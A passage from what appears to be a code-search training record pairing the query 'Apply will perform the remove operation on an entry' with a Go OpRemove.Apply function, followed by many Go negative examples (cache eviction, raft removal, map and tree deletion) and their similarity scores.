len(c.Queries) == 0 {\n\t\treturn fmt.Errorf(\"Queries must not be empty\")\n\t}\n\treturn nil\n}", "func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}", "func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = dur\n\treturn nil\n}", "func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UOMString(s)\n\treturn err\n}" ]
[ "0.6904662", "0.661807", "0.6496109", "0.6340607", "0.6314579", "0.6303743", "0.6287328", "0.6287328", "0.62627196", "0.6259769", "0.6248112", "0.62178355", "0.6203951", "0.6186944", "0.61710036", "0.6132832", "0.6103028", "0.6102198", "0.6100534", "0.6087423", "0.6077021", "0.60640776", "0.60638016", "0.6055484", "0.60515964", "0.60489035", "0.6048475", "0.60428363", "0.60352254", "0.60277116", "0.60122925", "0.5988818", "0.5986409", "0.5981844", "0.5981057", "0.5978563", "0.59781337", "0.5977488", "0.5976316", "0.595005", "0.59399366", "0.5939511", "0.5923325", "0.59220403", "0.5920907", "0.59201264", "0.59165573", "0.5913581", "0.59129447", "0.59047127", "0.5902822", "0.58912635", "0.5877478", "0.58731115", "0.58703387", "0.5869133", "0.5868156", "0.585871", "0.585871", "0.585478", "0.58505416", "0.58482146", "0.5846922", "0.58450955", "0.58332723", "0.5831912", "0.5830574", "0.58205885", "0.5809467", "0.5802011", "0.5801461", "0.5799728", "0.57996374", "0.57984906", "0.5794344", "0.57881117", "0.57831883", "0.5781405", "0.57754415", "0.5774354", "0.57659703", "0.57617116", "0.5736832", "0.5732802", "0.57279056", "0.5725049", "0.5717117", "0.5701857", "0.5697567", "0.56824744", "0.56774", "0.56726605", "0.56722873", "0.5669193", "0.5664941", "0.5660014", "0.5654832", "0.5649913", "0.56485367", "0.5636088" ]
0.7814687
0
Apply will perform the remove operation on an entry
func (op *OpRemove) Apply(e *entry.Entry) error { e.Delete(op.Field) return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *RemoveCommand) Apply(raftServer *raft.Server) (interface{}, error) {\n\n\t// remove machine in etcd storage\n\tkey := path.Join(\"_etcd/machines\", c.Name)\n\n\t_, err := etcdStore.Delete(key, raftServer.CommitIndex())\n\n\t// delete from stats\n\tdelete(r.followersStats.Followers, c.Name)\n\n\tif err != nil {\n\t\treturn []byte{0}, err\n\t}\n\n\t// remove peer in raft\n\terr = raftServer.RemovePeer(c.Name)\n\n\tif err != nil {\n\t\treturn []byte{0}, err\n\t}\n\n\tif c.Name == raftServer.Name() {\n\t\t// the removed node is this node\n\n\t\t// if the node is not replaying the previous logs\n\t\t// and the node has sent out a join request in this\n\t\t// start. It is sure that this node received a new remove\n\t\t// command and need to be removed\n\t\tif raftServer.CommitIndex() > r.joinIndex && r.joinIndex != 0 {\n\t\t\tdebugf(\"server [%s] is removed\", raftServer.Name())\n\t\t\tos.Exit(0)\n\t\t} else {\n\t\t\t// else ignore remove\n\t\t\tdebugf(\"ignore previous remove command.\")\n\t\t}\n\t}\n\n\tb := make([]byte, 8)\n\tbinary.PutUvarint(b, raftServer.CommitIndex())\n\n\treturn b, err\n}", "func (this *ObjectRemove) Apply(context Context, first, second value.Value) (value.Value, error) {\n\t// Check for type mismatches\n\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tfield := second.Actual().(string)\n\n\trv := first.CopyForUpdate()\n\trv.UnsetField(field)\n\treturn rv, nil\n}", "func (op *OpMove) Apply(e *entry.Entry) error {\n\tval, ok := e.Delete(op.From)\n\tif !ok {\n\t\treturn fmt.Errorf(\"apply move: field %s does not exist on body\", op.From)\n\t}\n\n\treturn e.Set(op.To, val)\n}", "func (e *entry) remove() {\n\tif e.logical != noAnchor {\n\t\tlog.Fatalf(\"may not remove anchor %q\", e.str)\n\t}\n\t// TODO: need to set e.prev.level to e.level if e.level is smaller?\n\te.elems = nil\n\tif !e.skipRemove {\n\t\tif e.prev != nil {\n\t\t\te.prev.next = e.next\n\t\t}\n\t\tif e.next != nil {\n\t\t\te.next.prev = e.prev\n\t\t}\n\t}\n\te.skipRemove = false\n}", "func (c *DeleteCommand) Apply(context raft.Context) (interface{}, error) {\n\ts := context.Server().Context().(*Server)\n\tnextCAS, err := s.db.Delete(c.Path, c.CAS)\n\treturn nextCAS, err\n}", "func (op *OpRetain) Apply(e *entry.Entry) error {\n\tnewEntry := entry.New()\n\tnewEntry.Timestamp = e.Timestamp\n\tfor _, field := range op.Fields {\n\t\tval, ok := e.Get(field)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\terr := newEntry.Set(field, val)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*e = *newEntry\n\treturn nil\n}", "func (m *IndexedMap[PrimaryKey, Value, Idx]) Remove(ctx context.Context, pk PrimaryKey) error {\n\terr := m.unref(ctx, pk)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn m.m.Remove(ctx, pk)\n}", "func (i *ImmediateCron) Remove(id cron.EntryID) {}", "func (entry *Entry) Del() error {\n\t_, err := entry.Set.Parent.run(append([]string{\"del\", entry.Set.name()}, entry.Options...)...)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = entry.Set.Parent.Save()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (pred *NotEqPredicate) Apply(c cm.Collection) error {\n\tcol := c.(*Table)\n\tcol.filterStatements = append(col.filterStatements,\n\t\tfmt.Sprintf(\"%s != ?\", pred.Column.Name()))\n\n\tcol.filterValues = append(col.filterValues, pred.Value)\n\n\treturn nil\n}", "func (s *NetworkStore) RemoveEntry(name string) error {\n\tvar rmvIdx int\n\tfor idx, entry := range s.Store {\n\t\tif entry.Name == name {\n\t\t\trmvIdx = idx\n\t\t\tbreak\n\t\t}\n\t}\n\n\ts.Store = append(s.Store[:rmvIdx], s.Store[rmvIdx+1:]...)\n\n\treturn nil\n}", "func (c *Controller) apply(key string) error {\n\titem, exists, err := c.indexer.GetByKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !exists {\n\t\treturn c.remove(key)\n\t}\n\treturn c.upsert(item, key)\n}", "func (c *Cache) removeElement(e *list.Element) {\n\tc.evictList.Remove(e)\n\tkv := e.Value.(*Entry)\n\tdelete(c.mapping, kv.key)\n\tif c.onEvict != nil {\n\t\tc.onEvict(kv.key, kv.value)\n\t}\n}", "func (s *DnsServer) RemoveFromEntry(name string, keywords []string, rType uint16) {\n\tc := s.NewControllerForName(dns.CanonicalName(name))\n\tc.DeleteRecords(keywords, rType)\n}", "func (_obj *DataService) DeleteApply(wx_id string, club_id string, affectRows *int32, _opt ...map[string]string) (ret int32, err error) {\n\n\tvar length int32\n\tvar have bool\n\tvar ty byte\n\t_os := codec.NewBuffer()\n\terr = _os.Write_string(wx_id, 1)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\terr = _os.Write_string(club_id, 2)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\terr = _os.Write_int32((*affectRows), 3)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\tvar _status map[string]string\n\tvar _context map[string]string\n\tif len(_opt) == 1 {\n\t\t_context = _opt[0]\n\t} else if len(_opt) == 2 {\n\t\t_context = _opt[0]\n\t\t_status = _opt[1]\n\t}\n\t_resp := new(requestf.ResponsePacket)\n\ttarsCtx := context.Background()\n\n\terr = _obj.s.Tars_invoke(tarsCtx, 0, \"deleteApply\", _os.ToBytes(), _status, _context, _resp)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\t_is := codec.NewReader(tools.Int8ToByte(_resp.SBuffer))\n\terr = _is.Read_int32(&ret, 0, true)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\terr = _is.Read_int32(&(*affectRows), 3, true)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\tif len(_opt) == 1 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t} else if len(_opt) == 2 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t\tfor k := range _status {\n\t\t\tdelete(_status, k)\n\t\t}\n\t\tfor k, v := range _resp.Status {\n\t\t\t_status[k] = v\n\t\t}\n\n\t}\n\t_ = length\n\t_ = have\n\t_ = ty\n\treturn ret, nil\n}", "func (store *GSStore) Remove(key string, form GSType) error {\n\n}", "func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}", "func (op *OpFlatten) Apply(e *entry.Entry) error {\n\tparent := op.Field.Parent()\n\tval, ok := e.Delete(op.Field)\n\tif !ok {\n\t\t// The field doesn't exist, so ignore it\n\t\treturn fmt.Errorf(\"apply flatten: field %s does not exist on body\", op.Field)\n\t}\n\n\tvalMap, ok := val.(map[string]interface{})\n\tif !ok {\n\t\t// The field we were asked to flatten was not a map, so put it back\n\t\terr := e.Set(op.Field, val)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reset non-map field\")\n\t\t}\n\t\treturn fmt.Errorf(\"apply flatten: field %s is not a map\", op.Field)\n\t}\n\n\tfor k, v := range valMap {\n\t\terr := e.Set(parent.Child(k), v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (m mapImports) Remove(key string, match string) {\n\tmp := m[key]\n\tfor idx := 0; idx < len(mp.standard); idx++ {\n\t\tif mp.standard[idx] == match {\n\t\t\tmp.standard[idx] = mp.standard[len(mp.standard)-1]\n\t\t\tmp.standard = mp.standard[:len(mp.standard)-1]\n\t\t\tbreak\n\t\t}\n\t}\n\tfor idx := 0; idx < len(mp.thirdParty); idx++ {\n\t\tif mp.thirdParty[idx] == match {\n\t\t\tmp.thirdParty[idx] = mp.thirdParty[len(mp.thirdParty)-1]\n\t\t\tmp.thirdParty = mp.thirdParty[:len(mp.thirdParty)-1]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// delete the key and return if both import lists are empty\n\tif len(mp.thirdParty) == 0 && len(mp.standard) == 0 {\n\t\tdelete(m, key)\n\t\treturn\n\t}\n\n\tm[key] = mp\n}", "func (c *Consistent) remove(elt string) {\n\tfor i := 0; i < c.NumberOfReplicas; i++ {\n\t\tdelete(c.circle, c.hashKey(c.eltKey(elt, i)))\n\t}\n\tdelete(c.members, elt)\n\tc.updateSortedHashes()\n\tc.count--\n}", "func Remove(name string) error", "func (e *entry) remove() {\n\te.prev.next = e.next\n\te.next.prev = e.prev\n\te.prev = nil\n\te.next = nil\n}", "func (sb *shardBuffer) remove(toRemove *entry) {\n\tsb.mu.Lock()\n\tdefer sb.mu.Unlock()\n\n\tif sb.queue == nil {\n\t\t// Queue is cleared because we're already in the DRAIN phase.\n\t\treturn\n\t}\n\n\t// If entry is still in the queue, delete it and cancel it internally.\n\tfor i, e := range sb.queue {\n\t\tif e == toRemove {\n\t\t\t// Delete entry at index \"i\" from slice.\n\t\t\tsb.queue = append(sb.queue[:i], sb.queue[i+1:]...)\n\n\t\t\t// Cancel the entry's \"bufferCtx\".\n\t\t\t// The usual drain or eviction code would unblock the request and then\n\t\t\t// wait for the \"bufferCtx\" to be done.\n\t\t\t// But this code path is different because it's going to return an error\n\t\t\t// to the request and not the \"e.bufferCancel\" function i.e. the request\n\t\t\t// cannot cancel the \"bufferCtx\" itself.\n\t\t\t// Therefore, we call \"e.bufferCancel\". This also avoids that the\n\t\t\t// context's Go routine could leak.\n\t\t\te.bufferCancel()\n\t\t\t// Release the buffer slot and close the \"e.done\" channel.\n\t\t\t// By closing \"e.done\", we finish it explicitly and timeoutThread will\n\t\t\t// find out about it as well.\n\t\t\tsb.unblockAndWait(e, nil /* err */, true /* releaseSlot */, false /* blockingWait */)\n\n\t\t\t// Track it as \"ContextDone\" eviction.\n\t\t\tstatsKeyWithReason := append(sb.statsKey, string(evictedContextDone))\n\t\t\trequestsEvicted.Add(statsKeyWithReason, 1)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Entry was already removed. Keep the queue as it is.\n}", "func (tb *tableManager) remove(keyIn uint64) error {\n\tkey, ok := CleanKey(keyIn)\n\tif !ok {\n\t\tlog.Println(\"Key out of range.\")\n\t\treturn errors.New(\"Key out of range.\")\n\t}\n\tentry, ok := tb.data[key]\n\tif !ok {\n\t\tlog.Println(\"Key not found in table.\")\n\t\treturn errors.New(\"Key not found in table.\")\n\t}\n\n\ttb.removeFromLRUCache(entry)\n\tdelete(tb.data, key)\n\treturn nil\n}", "func (list *List) Remove(e Entity) {\n\tdelete(list.m, e.Index())\n}", "func (this *MyHashMap) Remove(key int) {\n\tindex := key & (this.b - 1)\n\tremoveIndex := 0\n\tremove := false\n\tfor e := range this.bucket[index] {\n\t\tif this.bucket[index][e].key == key {\n\t\t\tremoveIndex = e\n\t\t\tremove = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif remove {\n\t\tthis.bucket[index] = append(this.bucket[index][:removeIndex], this.bucket[index][removeIndex+1:]...)\n\t}\n}", "func (b *Batch) Remove(filter Filter, comps ...ID) {\n\tb.world.exchangeBatch(filter, nil, comps)\n}", "func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}", "func (h *Hostman) Remove(entries Entries) error {\n\treturn h.enableOrDisableEntries(entries, \"remove\")\n}", "func (e *Entry) remove(c connection.Connection) {\n\te.connSync.Lock()\n\tdefer e.connSync.Unlock()\n\tif _, ok := e.idle[c.String()]; ok {\n\t\tc.Remove(e.listener[c.String()])\n\t\tdelete(e.idle, c.String())\n\t\tdelete(e.listener, c.String())\n\t}\n\treturn\n}", "func (thread *Thread) OnRemove(ctx aero.Context, key string, index int, obj interface{}) {\n\tonRemove(thread, ctx, key, index, obj)\n}", "func (t *txLookUp) Remove(h common.Hash, removeType hashOrderRemoveType) {\n\tt.mu.Lock()\n\tdefer t.mu.Unlock()\n\n\tt.remove(h, removeType)\n}", "func (b *DirCensus) Remove(when interface{}, key Key) Population {\n\tc := b.MemCensus.Remove(when, key)\n\n\tif c.Count == 0 && b.IsRecorded(c.Key) {\n\t\tb.Record(c)\n\t}\n\treturn c\n}", "func (c *LruCache) removeElement(e *list.Element) {\n\tc.evictList.Remove(e)\n\tkv := e.Value.(*entry)\n\tdelete(c.cache, kv.key)\n\tif c.onEvict != nil {\n\t\tc.onEvict(kv.key, kv.value)\n\t}\n}", "func (c Collector) Remove(k string) {\n\tif c.Has(k) {\n\t\tdelete(c, k)\n\t}\n}", "func (f UnFunc) Apply(ctx context.Context, data interface{}) (interface{}, error) {\n\treturn f(ctx, data)\n}", "func (c *EntryCache) Remove(name string) error {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\te, present := c.entries[name]\n\tif !present {\n\t\treturn fmt.Errorf(\"entry '%s' is not in the cache\", name)\n\t}\n\te.mu.Lock()\n\tdelete(c.entries, name)\n\thashes, err := allHashes(e, c.hashes)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, h := range hashes {\n\t\tdelete(c.lookupMap, h)\n\t}\n\tc.log.Info(\"[cache] Removed entry for '%s' from cache\", name)\n\treturn nil\n}", "func (fs *memoryCacheFilesystem) removeElement(ent *list.Element) {\n\tfs.evictList.Remove(ent)\n\tcent := ent.Value.(*centry)\n\tfs.size -= cent.file.fi.Size()\n\tdelete(fs.cache, cent.name)\n\tfs.invalidator.Del(cent)\n}", "func (e *ExpenseModel) Remove(filter interface{}) (int64, error) {\n\tcollection := e.db.Client.Database(e.db.DBName).Collection(\"expenses\")\n\tdeleteResult, err := collection.DeleteOne(context.TODO(), filter)\n\tif err != nil {\n\t\tlog.Fatal(\"Error on deleting one expense\", err)\n\t\treturn 0, err\n\t}\n\treturn deleteResult.DeletedCount, nil\n}", "func (r *Repository) RemoveFromIndex(e *StatusEntry) error {\n\tif !e.Indexed() {\n\t\treturn ErrEntryNotIndexed\n\t}\n\tindex, err := r.essence.Index()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := index.RemoveByPath(e.diffDelta.OldFile.Path); err != nil {\n\t\treturn err\n\t}\n\tdefer index.Free()\n\treturn index.Write()\n}", "func (wectxs *WorkflowContextsMap) Remove(id int64) int64 {\n\twectxs.safeMap.Delete(id)\n\treturn id\n}", "func (r *Report) remove(item *summarize.ElementStr) {\n\tret := ReportItem{\n\t\tName: item.Name,\n\t\tBefore: item.String(),\n\t}\n\t// TODO: compress this table if possible after all diffs have been\n\t// accounted for.\n\tswitch item.Kind {\n\tcase \"library\", \"const\", \"bits\", \"enum\", \"struct\",\n\t\t\"table\", \"union\", \"protocol\", \"alias\",\n\t\t\"struct/member\", \"table/member\", \"bits/member\",\n\t\t\"enum/member\", \"union/member\", \"protocol/member\":\n\t\tret.Conclusion = APIBreaking\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Report.remove: unknown kind: %+v\", item))\n\t}\n\tr.addToDiff(ret)\n}", "func (c *jsiiProxy_CfnStackSet) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}", "func (s *SweepPruneSet[T]) Remove(id SweepPruneItemID) {\n\titemIndex := uint32(id)\n\titem := &s.items[itemIndex]\n\titem.Position = dprec.Vec3{\n\t\tX: math.Inf(+1),\n\t\tY: math.Inf(+1),\n\t\tZ: math.Inf(+1),\n\t}\n\titem.Radius = 1.0\n\tvar zeroV T\n\titem.Value = zeroV\n\ts.dirtyItemIDs[itemIndex] = struct{}{}\n\ts.freeItemIDs.Push(itemIndex)\n}", "func (g *Group) RemoveEntry(e *Entry) error {\n\tvar ok bool\n\tg.entries, ok = removeEntry(g.entries, e)\n\tif !ok {\n\t\treturn fmt.Errorf(\"keepass: removing entry %s (id=%v): not in group %s (id=%d)\", e.Title, e.UUID, g.Name, g.ID)\n\t}\n\tg.db.entries, _ = removeEntry(g.db.entries, e)\n\te.db = nil\n\treturn nil\n}", "func (sset *SSet) Remove(value interface{}) {\n\tkey := sset.f(value)\n\tif index, found := sset.m_index[key]; found {\n\t\tsset.list.Remove(index)\n\t\tsset.m.Remove(key)\n\t\tdelete(sset.m_index, key)\n\t\tsset.fixIndex()\n\t}\n}", "func (txn *levelDBTxn) Remove(key string) error {\n\ttxn.mu.Lock()\n\tdefer txn.mu.Unlock()\n\n\ttxn.batch.Delete([]byte(key))\n\treturn nil\n}", "func (c *Consistent) Remove(elt string) {\n\tc.Lock()\n\tdefer c.Unlock()\n\tc.remove(elt)\n}", "func (c *Consistent) Remove(elt string) {\n\tc.Lock()\n\tdefer c.Unlock()\n\tc.remove(elt)\n}", "func (tree *Tree) Remove(key interface{}) {\n\tvar child *Node\n\tnode := tree.lookup(key)\n\tif node == nil {\n\t\treturn\n\t}\n\tif node.Left != nil && node.Right != nil {\n\t\tpred := node.Left.maximumNode()\n\t\tnode.Key = pred.Key\n\t\tnode.Value = pred.Value\n\t\tnode = pred\n\t}\n\tif node.Left == nil || node.Right == nil {\n\t\tif node.Right == nil {\n\t\t\tchild = node.Left\n\t\t} else {\n\t\t\tchild = node.Right\n\t\t}\n\t\tif node.color == black {\n\t\t\tnode.color = nodeColor(child)\n\t\t\ttree.deleteCase1(node)\n\t\t}\n\t\ttree.replaceNode(node, child)\n\t\tif node.Parent == nil && child != nil {\n\t\t\tchild.color = black\n\t\t}\n\t}\n\ttree.size--\n}", "func Remove(key string) error {\n\tquery := arangolite.NewQuery(`FOR ingredient IN %s FILTER ingredient._key==@key REMOVE ingredient IN %s`, CollectionName, CollectionName)\n\tquery.Bind(\"key\", key)\n\t_, err := config.DB().Run(query)\n\treturn err\n}", "func (mm *Model) Remove(selector interface{}, keys ...string) error {\n\treturn mm.execute(func(c CachedCollection) error {\n\t\treturn c.Remove(selector, keys...)\n\t})\n}", "func (t *tOps) remove(f *tFile) {\n\tt.cache.Delete(0, uint64(f.fd.Num), func() {\n\t\tif err := t.s.stor.Remove(f.fd); err != nil {\n\t\t\tt.s.logf(\"table@remove removing @%d %q\", f.fd.Num, err)\n\t\t} else {\n\t\t\tt.s.logf(\"table@remove removed @%d\", f.fd.Num)\n\t\t}\n\t\tif t.evictRemoved && t.bcache != nil {\n\t\t\tt.bcache.EvictNS(uint64(f.fd.Num))\n\t\t}\n\t})\n}", "func (s *ConfigurationStore) RemoveEntry(name ConfigName) {\n\tdelete(s.Store, name)\n}", "func removeEntry(bucket []entry, idx int) []entry {\n\n\t// https://github.com/golang/go/wiki/SliceTricks\n\t// Cut out the entry by taking all entries from\n\t// infront of the index and moving them behind the\n\t// index specified.\n\tcopy(bucket[idx:], bucket[idx+1:])\n\n\t// Set the proper length for the new slice since\n\t// an entry was removed. The length needs to be\n\t// reduced by 1.\n\tbucket = bucket[:len(bucket)-1]\n\n\t// Look to see if the current allocation for the\n\t// bucket can be reduced due to the amount of\n\t// entries removed from this bucket.\n\treturn reduceAllocation(bucket)\n}", "func (d *Directory) Remove(name string) (*DirectoryEntry, int) {\n\tfor i, e := range d.Entries {\n\t\tif e.Path == name {\n\t\t\td.Entries = append(d.Entries[:i], d.Entries[i+1:]...)\n\t\t\treturn e, i\n\t\t}\n\t}\n\treturn nil, -1\n}", "func (m *ACLs) DeleteEntry(aclType string, qualifier string) {\n\tfor i, e := range m.Entries {\n\t\tif e.Qualifier == qualifier && e.Type == aclType {\n\t\t\tm.Entries = append(m.Entries[:i], m.Entries[i+1:]...)\n\t\t\treturn\n\t\t}\n\t}\n}", "func (m *Model) Remove(storeLDAP storage.LDAP) error {\n\tif m.DN == \"\" {\n\t\treturn errors.New(\"model requires dn to be set\")\n\t}\n\n\tsr := ldap.NewSimpleSearchRequest(m.DN, ldap.ScopeWholeSubtree, \"(objectClass=*)\", []string{\"none\"})\n\tresult, err := storeLDAP.Search(sr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor i := len(result.Entries) - 1; i >= 0; i-- {\n\t\tif err := storeLDAP.Delete(ldap.NewDeleteRequest(result.Entries[i].DN)); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func (c *Consistent) Remove(elt string) {\n\tc.Mu.Lock()\n\tdefer c.Mu.Unlock()\n\tc.remove(elt)\n}", "func (t *TextUpdateSystem) Remove(basic ecs.BasicEntity) {\n\tdelete := -1\n\n\tfor index, e := range t.entities {\n\t\tif e.BasicEntity.ID() == basic.ID() {\n\t\t\tdelete = index\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif delete >= 0 {\n\t\tt.entities = append(t.entities[:delete], t.entities[delete+1:]...)\n\t}\n}", "func (c DirCollector) Remove(k string) {\n\tif c.Has(k) {\n\t\tdelete(c, k)\n\t}\n}", "func (c DeferDirCollector) Remove(k string) {\n\tif c.Has(k) {\n\t\tdelete(c, k)\n\t}\n}", "func (t *BoundedTable) RemoveRecord(ctx context.Context, h int64, r []types.Datum) error {\n\t// not supported, BoundedTable is TRUNCATE only\n\treturn table.ErrUnsupportedOp\n}", "func (c *LRU) Remove(s utils.Service) error {\n\tremoveNum := 0\n\tif element := c.items[s.Aliases]; element != nil {\n\t\tif _, ok := element.table[s.RecordType]; !ok {\n\t\t\treturn errors.New(\"RocordType doesn't exist\")\n\t\t}\n\t\ttmp := element.table[s.RecordType].list\n\t\tfor v := 0; v < len(tmp); v++ {\n\t\t\tif tmp[v].Value.(*utils.Entry).Value == s.Value {\n\t\t\t\tif c.onEvict != nil {\n\t\t\t\t\tc.onEvict(tmp[v].Value.(*utils.Entry))\n\t\t\t\t}\n\t\t\t\tc.evictList.Remove(tmp[v])\n\t\t\t\ttmp = append(tmp[:v], tmp[v+1:]...)\n\t\t\t\tv = v - 1\n\t\t\t\tremoveNum = removeNum + 1\n\t\t\t\tif len(tmp) == 0 {\n\t\t\t\t\tdelete(element.table, s.RecordType)\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\tif removeNum > 0 {\n\t\treturn nil\n\t}\n\treturn errors.New(\"Nothing is removed\")\n}", "func (c *layerCache) Remove(key interface{}) (err error) {\n\terr = c.Storage.Remove(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif c.next == nil {\n\t\t// This is bottom layer\n\t\treturn nil\n\t}\n\t// Queue to flush\n\tc.log <- log{key, &Message{Value: nil, Message: MessageRemove}}\n\tc.Sync() // Remove must be synced\n\treturn nil\n}", "func (u *UdMap) Del(key string) { delete(u.Data, key) }", "func (c 